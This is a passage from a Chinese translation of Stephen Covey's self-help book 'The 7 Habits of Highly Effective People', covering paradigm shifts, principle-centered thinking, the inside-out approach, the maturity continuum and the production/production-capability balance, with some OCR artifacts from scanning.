◆古埃及天文家托勒密认为地球是宇宙的中 心,但哥白尼主张太阳才是宇宙的中心,因而激起 思维转换。尽管后者曾招致强烈反抗与迫害,但转 眼间,人类对宇宙万物的诠释完全改观。 ◆牛顿的物理学原理虽至今仍是现代工程学 的基础,但并未穷尽科学的边界。直到爱因斯坦的 相对论提出,又为科学界带来一次革命。 ◆有关细菌的学说未出现之前,许多妇女死于 分娩,许多战士死于伤病而非敌人的攻击;直到细 菌论带来了全新的观念,现代医学才有进步的可能。 ◆今日的美国也是思维转换的成果。传统君权 神授、君主专制思维,由民主、民享的观念所取代, 才促成民主宪政与自由富足的社会。 但并非所有的思维转换都是积极的。例如我们 前面提到的,人们由强调品德转为强调个人魅力, 这种转换反而让我们偏离了通向成功与幸福的轨道。 不论思维转换的结果是否积极,过程是否渐进, 都会让我们的世界观发生改变,而且改变的力度惊 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 58 ~ 人。不论思维定式是否正确,都会决定我们的行为 和态度,并最终影响到我们的人际关系。 我曾经体验过一次小小的思维转换。那是个周 日的早晨,在纽约的地铁内,乘客都静静地坐着, 或看报或沉思或小憩,眼前一幅平静安详的景象。 这时候突然上来一名男子与几个小孩,孩子的喧哗 吵闹声,破坏了整个气氛。那名男子坐在我旁边, 任凭他的孩子如何撒野作怪,依旧无动于衷。这种 情形谁看了都会生气,全车的人似乎都十分不满, 最后我终于忍无可忍对他说:‚先生,你的孩子太闹 了,可否请你管管他们?‛ 那人抬起眼来看我,仿佛如梦初醒般轻声说: ‚是啊,我想我是该管管他们了。他们的母亲一小 时前刚刚过世,我们刚从医院出来。我手足无措, 孩子们大概也一样。‛ 你能想象我当时的感觉吗?我的思维转换了, 看此事的角度也瞬间改变,想法、感觉和行为都变 了。我怒气全消,不需要再克制自己的态度和行为, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 59 ~ 因为他的痛苦已经让我感同身受,同情与怜悯之情 油然而生。 ‚原来您的夫人刚刚过世?我感到很抱歉! 您愿意和我谈谈吗?或者我能为您做些什么?‛一切 都变了。 许多人在生死关头也会大彻大悟,重新审视生 命中的优先次序,同样的事情也会发生在人们突然 接受一个新角色的时候,比如丈夫、妻子、父母、 主管或领导。 如果我们只想让生活发生相对较小的变化,那 么专注于自己的态度和行为即可,但是实质性的生 活变化还是要靠思维的转换。 梭罗(Thoreau)曾经说过:“一棵邪恶的大树, 砍它枝叶千斧,不如砍它根基一斧。”行为和态度就 是枝叶,思维定式就是根基,抓住根本才能让生活 出现实质性的进展。 以原则为中心的思维定式 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 60 ~ 品德成功论植根于一个基本信念之上,那就是 人类效能都需要原则作指引,这是放之四海皆准的 真理,和物理学中的万有引力法则一样,都是毋庸 置疑、不容忽视的自然法则。 至于这些原则的真实性和影响力到底怎样,看 看弗兰克·柯克(Frank Koch)在海军学院的杂志《过 程》(Proceedings)中写到的思维转换经历就知道了: 两艘演习战舰在阴沉的天气中航行了数日,我 就在打头的那艘旗舰上当班,当时天色已晚,我站 在舰桥上嘹望,浓重的雾气使得能见度极低,因此 船长也留在舰桥上压阵。 入夜后不久,舰桥一侧的嘹望员忽然报告: ‚右 舷位臵有灯光。‛ 船长问他光线的移动方向,他回答:‚正逼近 我们。‛这意味着我们可能相撞,后果不堪设想。 船长命令信号兵通知对方:‚我们正迎面驶来, 建议你转向 20 度。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 61 ~ 对方说:‚建议你转向 20 度。‛ 船长说:‚发信号,告诉他我是上校,命令他 转向 20 度。‛ 对方回答: ‚我是二等水手,你最好转向 20 度。‛ 这时船长已勃然大怒,大叫道:‚告诉他,这 是战舰,让他转向 20 度。‛ 对方的信号传来:‚这是灯塔。‛ 结果,我们改变了航道。 我们随着这位船长经历了一次思维转换,结果 整个情况都不同了。这位船长因为身处迷雾而看不 清事实,但是看清事实在我们的日常生活中是极其 关键的一环。 原则如灯塔,是不容动摇的自然法则。正如塞 西尔·B·德米尔(Cecil.B.deMille)在他执导的 电影《十诫》(The Ten Command 一舢 nts)中所揭示 的:“我们不可能打破法则,只能在违背法则的时候 让自己头破血流。” 有人根据自己的经历建立思维定式或者绘制地 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 62 ~ 图,然后借此观察自己的生活与人际关系。但是地 图不等于地域本身,它只是一种“主观的事实”,是 对某一地域的描述。 只有“灯塔”式指引人类成长和幸福的原则才 是“客观的事实”,是地域本身。这一法则已经渗透 到历史上所有的文明社会中,并成为家庭和机构繁 荣持久的基础。 任何人只要对人类历史的盛衰循环深切了解, 都会承认这些原则是颠扑不破、历久弥新的。国家 社会的存亡与兴衰,往往就取决于是否能遵奉这些 原则。 我所强调的这些原则,并非一些深奥玄妙的宗 教哲理,也不属于任何特定的宗教或信仰。可以说 世上各主要宗教、民族的伦理道德思想中,几乎都 涵盖了它们。这些不辩自明的真理,任何人都可以 心领神会,就好像人类与生俱来的良知,不分种族 肤色,人人具备。即使被社会流俗或个人否定而隐 晦不彰,但它们依然存在。 比如“公平”的原则,平等与正义的概念便由 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 63 ~ 此而来。虽然每个社会对何谓公平以及如何维持公 平的看法都有很大差异,但基本上都承认该原则的 确存在。 “诚信”与“正直”的原则是人类相互信任的 基础。有了信任,才有可能互助合作,实现个人与 群体的持续成长。 “服务”的原则,即贡献自我,以及“讲求品 质”或“追求卓越”的原则。 “潜能”原则是指人类可以不断成长、进步, 释放潜能和施展才华。与此密切相关的是“成长” 原则,即潜能得以释放,才华得以施展的过程。这 一过程需要“耐心”、“教育”与“鼓励”等原则的 配合。 原则不同于实践。实践是特定的行为或活动, 在某一情况下适用的实践未必能在另一种情况下适 用。就好比父母不能将教育第一个孩子的方法照搬 到第二个孩子身上。 实践是个别的、具体的,而原则是深刻的、基 本的和普遍的。原则适用于任何个人、婚姻、家庭 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 64 ~ 以及公私机构。如果我们把原则内化为习惯,就能 够用不同的实践方法应对任何局面。 原则不是价值观。一群盗匪可以有相同的价值 观,但却违背了良善的原则。如果说原则是地域, 那么价值观就是地图。唯有尊重正确原则,才能认 清真相。 原则是人类行为的指南针,历经考验,长盛不 衰,不证自明。要抓住它们的本质,最简捷的方法 就是设想一下反其道而行之的后果,不会有人以为 可以靠欺骗、不公、卑鄙、无能、平庸或者堕落来 换得持久的幸福与成功。 一个人的思维定式或者地图越符合这些原则或 者自然法则,就越能正确而高效地生活。比起为改 变态度和行为所做出的努力,正确的地图对于个人 和人际关系效能的影响要大得多。 成长和改发的原则 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 65 ~ 个人魅力论之所以让大家趋之若鹜,就是因为 它号称能够让人们跨过事物成长的自然历程,迅速 而轻松地实现个人效能和人际关系的圆满人生。 这种华而不实、“暴发户”式的论调,无异于鼓 励不劳而获,即便获得了所谓的成功,也不过是昙 花一现。 个人魅力论给人一种错觉和幻象,妄图一步登 天,这就好比目的地是芝加哥,手上拿的却是底特 律的地图。 埃里希.弗洛姆(Erich Fromm)对于个人魅力论 的根源和成就有很深的见解,他说:现在有这样一 种人,行尸走肉一般生活,没有自知之明,他们了 解的只是别人期望中的自己。他们的沟通能力、真 诚的笑容乃至痛苦的感受都已经被言之无物、伪装 的笑容和无聊的绝望所取代。两句话概括:他们已 经丧失了天性与个性,并且无可救药;他们与地球 上的其他人相比并无本质区别。 人的一生包含了许多成长和进步阶段,必须循 序渐进,比如小孩要先学会翻身、坐立、爬行,然 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 66 ~ 后才学会走路、跑步。每一步都十分重要,而且需 要时间,不能跳过。 人类的成长历程莫不如此,无论是学钢琴还是 与同事相处,无论是个人、家庭、婚姻还是社会, 都要遵循这一原则。 我们通常能够在物质领域理解并接受“循序渐 进”的原则,但在精神领域、人际关系,甚至个人 品德方面,却很难做到这一点。即使理解了,也未 必愿意接受或实践,结果妄图走捷径,想跳过关键 步骤到达目的地的大有人在。 但是缩短自然成长与发展的过程,结果如何呢? 假设你的网球技术普通,却想与高手较量,只为了 给人深刻的印象,结局不问可知。难道只靠高昂的 意志就能帮助你击败职业高手?又假设你琴艺平平, 却向亲朋吹嘘有开演奏会的实力,牛皮终有吹破的 一天。 自然的成长过程不容违背、忽略或缩短,那只 会让你平添失望和挫败感。 以 10 分为标准,假如我在各个方面都只能得 2 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 67 ~ 分,那么要达到 5 分,必须先向 3 分迈进,正所谓 “千里之行,始于足下”,而且要一步一个脚印。 如果学生不肯发问,不肯暴露自己的无知,不 肯让老师知道他真正的程度,那么绝对学不到东西, 也就不能有长进。而且伪装实非长久之计,总有被 拆穿的一天。承认自己的无知往往是求知的第一步。 梭罗曾说:“如果我们时时忙着展现自己的知识,将 何从忆起成长所需的无知?” 记得有一次,一位朋友的两个女儿向我哭诉, 抱怨她们的父亲太严厉、不知体谅。她们不敢向父 母吐露,却迫切需要父母的爱、关怀与教导。 于是我去找朋友谈话,他只肯承认自己脾气不 好,却不愿为自己的行为负责,也不愿意接受自己 “情商”不足的事实,强烈的自尊心阻碍了他迈出 改变的第一步。 与配偶、子女、朋友或同事相处一定要学会聆 听,这需要情感力量的支撑。聆听需要耐心、坦诚 和理解对方的愿望,属于品德的高级范畴。相较之 下,以低投入的情感给出“高高在上”的建议要容 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 68 ~ 易得多。 球技和琴艺如何,很容易判断,可品德和情感 就不一样了。在陌生人或同事面前,我们可以伪装 得很好,暂时蒙混过关,至少不会被当众拆穿,可 能连自己都被骗了。但我相信,多数人都知道自己 骨子里到底什么样,而且与自己共同生活和工作的 人也一 D 知肚明。 我在企业界看过太多投机取巧的例子,那些主 管试图通过激昂的演说、微笑训练、外界干预或是 接管、收购以及善意或恶意的并购,来“购买”一 种新的企业文化,从而达到提升生产力水平、质量 水平、道德水平以及服务水平的目的,但却忽略了 玩弄权术会让信任度低下的事实。一旦发现这些并 不奏效,他们就转而求助于其他个人魅力的技巧, 却从不尊重和遵守自然原则与成长历程,而这些恰 是高度互信的企业文化的基础。 多年以前我也犯过同样的错误。我赶回家参加 女儿三岁生日的派对。结果刚进门就发现女儿在前 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 69 ~ 厅角落里,挑衅般地抓着所有的礼物,不让其他小 朋友玩。我的第一反应是,在场那么多家长都在目 睹-女--]L 的自私表现,这让我十分难堪。再想到 我本人就在大学里讲授人际关系,这种难堪情绪又 多了一重。我很清楚,至少感觉得到这些家长们都 在期待着什么。 当时的气氛十分紧张,所有的孩子都挤在女儿 身边,伸手要玩他们刚刚送出的礼物,而女儿就是 不肯答应。我对自己说:我真应该给女儿传授一下 分享的概念,这可是最基本的价值观之一。 我先从简单的要求开始:‚宝贝,把小朋友送 的礼物分给大家一起玩好不好?‛ ‚不!‛她断然拒绝。 我的第二招是讲道理:‚亲爱的,如果你肯在 自己家里把玩具分给小朋友们玩,那么等你到他们 家里时,他们也会把玩具分给你玩。‛ 她又说了一个‚不‛。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 70 ~ 我感觉更尴尬了,很明显我管不了女儿。第三 招就是,我轻声说:‚宝贝.你把玩具分给小朋友们 玩,爸爸就奖你一片口香糖。‛ 她大叫:‚我不要口香糖。‛ 我忍无可忍,第四招就只有恐吓和威胁了: ‚你 再这样子,看我怎么罚你!‛ 女儿哭道:‚我不管,我的东西不要分给别人 玩!‛ 最后我只好采取强硬手段,从她手里抢过一些 玩具分给其他小朋友:‚孩子们。玩吧。‛ 或许女儿需要先经历拥有,然后才会付出。(事 实上,我自己在未曾拥有的时候,又何曾付出?)她 希望从我这个情感应该更加成熟的父亲身上得到这 种经历。 可是我当时过于在意其他家长对我的看法,反 而不够重视孩子的成长和我们的关系。我从一开始 就认定了自己是对的,她应当学会分享,她的做法 是错误的。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 71 ~ 或许正是因为我不够成熟,所以才对女儿期望 过高。我不能或者不愿付出耐心或理解,于是希望 她能够付出一些东西。为了弥补我的不足,我只好 借助于自己的身份和权威来逼她就范。 这样反而危害到很多东西,比如我以后会更加 依赖外力来达到目的;女儿的成长受阻,独立判断 能力和自律能力的发展受挫;我们的关系也遭到破 坏。结果惧怕取代合作,双方都更加坚持己见,彼 此防备。 如果你力量的来源——体型、力气、职位、权 威、学历、地位、身份、外表或是过去的成就—— 发生变化甚至不复存在,那该怎么办呢? 如果我当年能成熟一些,就会依靠自己的力量 ——我自己对分享和成长的理解以及爱和养育的能 力——让女儿自行决定要不要分享玩具。或许尝试 过讲道理后,我可以带孩子们做个有趣的游戏,转 移他们的注意力,也解除女儿的心理压力。现在我 知道了,一旦孩子体会到了真正拥有的感觉,自然 会乐于与他人分享。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 72 ~ 经验告诉我,教导孩子也要因时制宜。在关系 和气氛紧张的时候,教导会被视为一种评判与否定; 关系融洽的时候,在私下里对孩子循循善诱效果会 加倍。可惜当年我的耐性和自控能力尚未成熟到这 种程度。 或许只有真正经历过拥有,才会真正懂得分享。 许多人在家庭或婚姻中只知机械式地付出,或者拒 绝付出和分享,可能正是由于他们从未体验过拥有, 而且缺乏自我认同和自尊。所以教育孩子应该要有 充分的耐心让他们体会拥有的感觉,同时用足够的 智慧告诉他们付出的价值,另外还要以身作则。 症结在于治标不治本 一般人对于成功的个人、家庭与团体,总是钦 羡不已。他们羡慕别人的能干、成熟,家人的团结 合作,以及组织的团队精神。但他们真正想知道的 却是成功背后的秘诀,向成功者请教的,不外乎如 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 73 ~ 何能够立竿见影、立收解决自身难题的方法。 有这种想法的人,就有能提供这类答案的人。 有时候速成的办法还颇管用,可暂时消除一些表象 的问题。只是真正的症结依旧存在,久而久之问题 又会浮现。而且愈是求助于“特效药”,病症拖得愈 久,病情愈加恶化。 让我们回顾一下本章开头的内容和个人魅力论 的影响。 ◆我上过无数关于有效管理的课程,我对员工 的期望很高,也想尽办法善待他们,但就是感觉不 到他们的忠心。我想如果我有一天生病在家,他们 一定会无所事事,闲聊度日。为什么我无法把他们 训练得独立而负责呢?为什么我总是找不到这样的 员工呢? 对急于想约束员工却束手无策的经理,个人魅 力论建议他采取.激烈的手段,大事整顿一番,逼 得员工兢兢业业。或者让员工接受相关的训练,以 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 74 ~ 提高工作热忱,甚至另聘更称职的外来和尚。 但阳奉阴违的员工,私底下可能正质疑着老板 究竟有没有为他们着想,有没有把他们当做机器看 待。员工的想法也许并非空穴来风,老板心中的确 如此看待他们,而主管态度偏差或许就是管理不善 的原因之一。 ◆要做的事太多了,我总是感到时间不够用, 觉得压力沉重,终日忙忙碌碌,一周 7 天,天天如 此。我参加过时间管理研讨班,也尝试过各种安排 进度计划的工具。虽然也有点帮助,但我仍然觉得 无法像我希望的那样,过上快乐、高效而平和的生 活。 个人魅力论认为一定有更有效率的办法解决这 些问题,例如新的计划和培训班。 但有没有可能问题并不在于效率?以更短的时 间完成更多的工作真的有用吗?抑或这只不过能让 人对充塞了生活的人与环境做出更快的反应? [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 75 ~ 是不是应该看得更深入、更透彻一些,比如那 些足以影响对时间、生命与自我的看法的思维定式? ◆我的婚姻已变得平淡无趣。我们并没有恶言 相向,更没有大打出手,只是不再有爱的感觉。我 们请教过婚姻顾问,也试过许多办法,但看来就是 无法重新燃起往日的爱情之火。 个人魅力论指出,一定有一些新书或者新的课 程教人提高表达能力,可以让妻子更加了解丈夫; 也可能这些都没用,还不如另筑爱巢。 但是有没有可能问题并不在于妻子?是丈夫纵 容了妻子的缺点,结果自作自受? 是不是对配偶、婚姻和爱情的思维定式导致了 这些问题? 现在你知道个人魅力论的思维定式是如何深刻 地影响甚至决定我们看待问题和解决问题的方法了 吧! 不论你是否察觉,总之已经有越来越多的人不 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 76 ~ 再对个人魅力论的空洞承诺抱有幻想。在与全美各 类组织合作的过程中,我发现那些高瞻远瞩的主管 都对所谓的“励志”故事和演讲避而远之。 他们需要的是实质性的东西,需要过程,而不 仅仅是“阿斯匹林”和“创可贴”,他们希望铲除病 根,只关注会带来长期效应的原则。 新的思想水平 爱因斯坦(Albert Einstein)曾说:“重大问题 发生时,依我们当时的思想水准往往无法解决。” 里里外外地审视自己之后,我们发现那些在个 人魅力论影响下产生的问题是如此地侵筋蚀骨,根 本不可能再用个人魅力论里那些肤浅的方法解决。 我们需要新的、更深层次的思想水平,即基于 原则的思维定式,它能正确引导我们实现高效能, 改善人际关系,解决深层问题。 这种新的思想水平就是《高效能人士的七个习 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 77 ~ 惯》要阐述的内容,它强调以原则为中心,以品德 为基础,要求“由内而外”地实现个人效能和人际 效能。 “由内而外”的意思是从自身做起,甚至更彻 底一些,从自己的内心做起,包括自己的思维定式、 品德操守和动机。 如果你想拥有美满的婚姻,那么就做一个能产 生助力而非阻力的人,不要一味强求对方。如果你 希望青春期的子女更听话,更讨人喜欢,那么先做 个言行一致、充满爱心且懂得体谅的父母。如果你 希望在工作上享有更多自由与自主,那么先做个更 负责尽职的员工。如果你希望获得信任,那么先做 个值得信任的人。如果你希望才华不被埋没,那么 先修养自己的基本品德。 由内而外的观点认为个人领域的成功必须先于 公众领域的成功;只有先信守对自己的承诺,才能 信守对他人的承诺。把个人魅力置于品德之上,妄 图在自我完善之前完善人际关系都将徒劳无功。 由内而外是一个持续的更新过程,以主宰人类 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 78 ~ 成长和进步的自然法则为基础,是螺旋向上的,它 让我们不断进步,直到实现独立自强与有效的互赖。 我曾有幸与许多才华横溢、卓越不凡的人共事, 其中包括企业主管、大学生、宗教与民间组织、家 庭成员和夫妇,他们都渴望幸福与成功,或在寻寻 觅觅,或在个中煎熬。我的经验告诉我,由外而内 获得的解决办法、成功和幸福往往难以长久。 不但如此,由外而内的思维定式还会让人自艾 自怜,固步自封,并将此归咎于别人和环境的缺陷。 我见过一些婚姻不和谐的夫妇,两个人都想改造对 方,不断列举对方的“罪状”已达到目的。我也见 过一些劳资纠纷,双方耗费大量时间和精力订立规 章制度,仿佛这样就能够找到信任的基础。 世界上冲突最热的三个地方——南非、以色列 和爱尔兰,问题僵持不下的根源就在于社会上流行 的由外而内的思维定式。每一方都认为问题在“那 里”,在“那一方”,如果“那一方”“讲理”或者“自 动退出”的话,问题就解决了。 由内而外的思维转换对很多人来说都堪称剧烈, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 79 ~ 主要是由于个人魅力论已经成为社会流行的思维定 式,其影响已经十分深入。 但就我个人及与人共事的经验,再加上我对历 史上成功个人和社会经验的认真思考,我相信七个 习惯中的许多原则早已深入人心,存在于我们的良 知与常识中。但要确认和开发这些原则以便加以利 用,就必须改变观念,转换思维定式并将其提升到 “由内而外”的新境界。 如果能够真诚地理解这些原则,并将其融人生 活,相信我们一定能不断发现艾略特(T.S.Eliot) 这句话的真义: 我们必不可停止探索,而一切探索的尽头,就 是重回起点,并对起点有首次般的了解。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 80 ~ 第二章 七个习惯概论 习惯对我们的生活有极大的影响,因为它是一 贯的,在不知不觉中,经年累月影响着我们的品德, 暴露出我们的本性,左右着我们的成败。 人的行为总是一再重复。因此卓越不是单一的 举动,而是习惯。 ——亚里士多德(Aristotle) 古希腊哲学家、文艺理论家 品德实质上是习惯的合成。俗语说:“思想决定 行动,行动决定习惯,习惯决定品德,品德决定命 运。”习惯对我们的生活有极大的影响,因为它是一 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 81 ~ 贯的,在不知不觉中,经年累月影响着我们的品德, 暴露出我们的本性,左右着我们的成败。 著名教育家霍勒斯·曼(Horace Mann)曾说: “习 惯就仿佛一条缆绳,我们每天为它添上一股新索, 很快它就会变得牢不可破。”这后半句我不敢苟同, 我认为习惯是可以打破的,而且不能一蹴而就,需 要坚持不懈的努力。 阿波罗 11 号的月球之旅,让我们亲眼目睹了人 类第一次在月球上行走的奇观,令人叹为观止。但 前提是宇宙飞船必须先摆脱强大的地球引力,为此 在刚发射的几分钟,即刚升空时的几公里消耗的能 量比之后几天几十万公里旅程消耗的能量还要多。 习惯也一样有极大的引力,只是许多人不加注 意或不肯承认罢了。要根除做事拖沓,缺乏耐心, 吹毛求疵或自私自利这些根深蒂固的不良习性,仅 有一点点毅力,只做一点点改变是不够的。“起飞” 需要极大的努力,然而一旦脱离了引力的束缚,就 会迎来广阔的自由天地,创造出高效能生活所必需 的凝聚力和秩序。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 82 ~ “习惯"的定义 本书将习惯定义为“知识”、“技巧”与“意愿” 相互交织的结果。 知识是理论 范畴,指点“做 什么”及“为何 做”;技巧告诉 “如何做”;意愿 促使“想要做”。 要养成一种习惯, 三者缺一不可。 (见图 2—1) 假设我与同事、配偶或儿女关系冷淡,原因是 我只顾倾诉,不愿聆听,那么除非我找到人际交往 的正确原则,否则可能根本就不“知道”我必须聆 听。图 2—1 高效能的习惯(内在原则及行为模式) [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 83 ~ 即使知道需要聆听,也可能不知道“如何”聆 听,不懂得深入聆听他人的技巧。 但仅仅知道需要聆听和如何聆听也是不够的, 我还要愿意聆听,才可能形成习惯。习惯的培养需 要三方面的努力。 为人和观念的改变是螺旋式向上的过程——为 人改变观念,观念反过来改变为人,如此反复循环, 螺旋式向上成长。通过在知识、技巧与意愿三方面 的努力,我们可以突破多年思维定式的伪保护,使 个人和人际关系效能都更上一层楼。 改变习惯的过程很难受,毕竟习以为常的事物 比较能给人安全感。但为追求一生的幸福与成功, 暂时牺牲眼前的安适与利益,也是值得的。经过一 番努力与牺牲所换来的果实,将更为甜美。 成熟模式图 七个习惯并非零落、分散的心理法则。它们符 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 84 ~ 合成长规律,提供了开发个人和人际效能的渐进、 连续和高度整合的方法,让我们依次经历“成熟模 式”——由依赖到独立,再到互赖,不断进步。 幼年时我们完全依赖他人,需要他人的指引、 养育和供给,否则最多存活几个小时或者几天。经 年累月后,我们渐渐在身体、智力、情感和经济方 面变得独立,直到有一天终于能够很好地照顾自己, 能够自我管理和自力更生。 在不断成长与成熟的过程中,我们逐渐认识到 自然界的互赖关系,生态学不但支配着自然界,也 支配着人类社会。我们还会发现,人性的较高层次 必须通过人际关系体现,人生也是互赖的。 从嗷嗷待哺到长大成人的过程遵循了自然法则, 而且成长是要多方面衡量的。生理发育成熟不表示 智力或情感也同样成熟,反之,生理缺陷并不代表 智力或情感发育不足。 “成熟模式图”(Maturity Continuum)即人类 成长的三个阶段,分别为依赖期、独立期、互赖期。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 85 ~ 依赖(Dependence)期以‚你‛为核心——你照 顾我;你为我的得失成败负责。 独立(Independence)期以‚我‛为核心——我 可以做到;我可以负责;我可以靠自己;我有权选 择。 互赖(Interdependence)期以‚我们‛为核心 ——我们可以做到;我们可以合作;我们可以融合 彼此的智慧和能力,共创前程。 依赖期的人靠别人来实现愿望;独立期的人单 枪匹马打天下;互赖期的人,群策群力实现最高成 就。 生理上无法独立(瘫痪或残疾)的人需要别人帮 助;情感上不能独立的人,其价值和安全感都来自 他人的看法,一旦无法取悦别人便会极度沮丧;智 力上无法独立的人需要他人帮忙思考和解决生活中 的大小问题。 相反地,生理上独立的人可以自食其力;智力 上独立的人可以有自己的思想,兼具想象、思考、 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 86 ~ 创造、分析、组织与表达的能力;情感上独立的人 信心十足,能自我管理,不因他人好恶而影响自我 价值评价。 显而易见,独立远比依赖要成熟,可谓人生的 重大成就,但却不是最高成就。不过当前社会总是 大力推崇人的独立性,许多个人和组织也堂而皇之 地以此为目标。大多数励志类书刊都过分强调独立, 仿佛人际沟通和团队精神并不重要。其实这多半是 对依赖的矫枉过正,是为了避免被他人控制、摆布 和利用。 至于互赖的概念则经常被人与依赖混为一谈, 无怪乎我们总是见到有人明明是为了自私的理由抛 妻弃子,却都假借独立的名义,逃避社会责任。 那些宣称要“摆脱桎梏”、“追求解放”、“坚持 自我”、“自做自事”的人反而因此暴露了依赖心理 ——任由他人伤害自己的情感,或是把超出自己控 制范围的人和事看作自己遭遇的始作俑者。这种心 理是内在而非外在的,因此很难摆脱。 当然,我们所处的环境的确需要改进,但依赖 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 87 ~ 问题源自个人的成熟度,与环境无关。即使身处较 好的环境,也可能是扶不起的阿斗。 真正独立的品德能够让我们行事主动,摆脱对 环境和他人的依赖,是值得追求的自由目标,但仍 非高效能生活的终极目标。 只重独立并不适于互赖的现实生活。只知独立 却不懂互赖的人只能成为独个的“生产标兵”,却与 “优秀领导”或“最佳合作者”之类的称呼无缘, 也不会拥有美满的家庭、婚姻或集体生活。 人生本来就是高度互赖的,想要单枪匹马实现 最大效能无异于缘木求鱼。 互赖是一个更为成熟和高级的概念。生理上互 赖的人,可以自力更生,但也明白合作会比单干更 有成效;情感上互赖的人,能充分认识自己的价值, 但也知道爱心、关怀以及付出的必要性;智力上互 赖的人懂得取人之长,补己之短。 一个能做到互赖的人,既能与人深入交流自己 的想法,也能看到他人的智慧和潜力。 但只有独立的人才能选择互赖,尚未摆脱依赖 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 88 ~ 性的人则无此条件,因为他们无论在品德还是在自 我把握方面都尚有欠缺。 因此,以下几章先讲述七个习惯中的前三个, 着重在如何自我约束,由依赖进步到独立。这些习 惯属于“个人领域的成功”范畴,是培养品德的基 础,而后才能是“公众领域的成功”,就如同耕种与 收获的次序无法颠倒一样,必须是由内而外依次实 现。 真正独立之后,你就具备了有效互赖的基础, 就可以开始致力于更为性格导向的“公众领域的成 功”,即习惯四、五、六所讲授的团结、合作与沟通。 这并不意味着你必须要等前三个习惯完善之后, 才能开始后面的练习。如此安排顺序是为了让你进 步得更快,我不建议你用几年的时问一门心思地修 炼前三个习惯,直到满意为止。 作为互赖世界的一部分,你每天都要与周围打 交道,只不过各种急性发作的问题经常遮掩了真正 的症结所在。了解自己在互赖关系中的作用有助于 你遵循自然法则,合理安排实践步骤。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 89 ~ 第七个习惯涵盖了其他六个习惯,谈的是自我 更新——在人生的四个层面上实现平衡而有规律的 更新。它是不断改进、螺旋向上的成长过程,帮助 我们自我提升到一个新的水平,在此水平上我们将 会更好地理解和实践其他几个习惯。 图 2—2 标示了七个习惯与三个成长阶段的关 系,以下各章我们仍将沿用这个图表来讲授七个习 惯的前后关联和之间的协作增效,比如它们如何增 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 90 ~ 进彼此的价值,并借此衍生出新的形式。每个概念 或习惯都会在后文中予以强调。 “效能"的定义 本书介绍的七个习惯都能产生高效能,因为它 们基于原则,效果持久,是品德的基础,能帮助你 更有效地解决问题,把握机会,不断学习并结合其 他原则以实现螺旋向上的成长。 此外,它们以符合自然法则的思维定式为基础, 我把这个自然法则称为“产出/产能平衡”(P/PC Balance)的原则。伊索寓言中有一则关于鹅生金蛋 的故事,足以说明这个常遭违反的原则。 一个农夫无意间发现一只会生金蛋的鹅,不久 便成了富翁。可是财富却使他变得更贪婪更急躁, 每天一个金蛋已无法满足他,于是他异想天开地把 鹅宰杀,想将鹅肚子里的金蛋全部取出。谁知打开 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 91 ~ 一看,鹅肚子里并没有金蛋。鹅死了,再也生不出 金蛋。 这则寓言中蕴涵了一个自然法则,即效能的基 本定义。许多人都用金蛋模式来看待效能,即产出 越多,效能越高。而真正的效能应该包含两个要素: 一是“产出”,即金蛋;二是“产能”——生产的资 产或能力,即下金蛋的鹅。 在生活中“重蛋轻鹅”的人,最终会连这个产 金蛋的资产也保不住。反之,“重鹅轻蛋”的人,最 后自己都可能会被活活饿死,更不用说鹅了。 所以,效能在于产出与产能的平衡,P 代表希 望获得的产出,即金蛋;PC 代表产能,即生产金蛋 的资产或能力。 三类资产 人类所拥有的资产,基本上可分为物质资产、 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 92 ~ 金融资产以及人力资产三大类,下面我们要一个一 个地分析。 几年前我曾购得一项物质资产——一台电动割 草机。我只知道使用,却从不保养。最初两个季度 它还好好的,到第三个季度就出故障了。我试着想 把它修好,结果却发现引擎的马力已经损失了一大 半,和废铁无异。 如果我能及早在产能——保养割革机方面花些 功夫,现在就能继续享受它的产出——修整过的草 坪。可事实上我不得不花费更多的时间和金钱来更 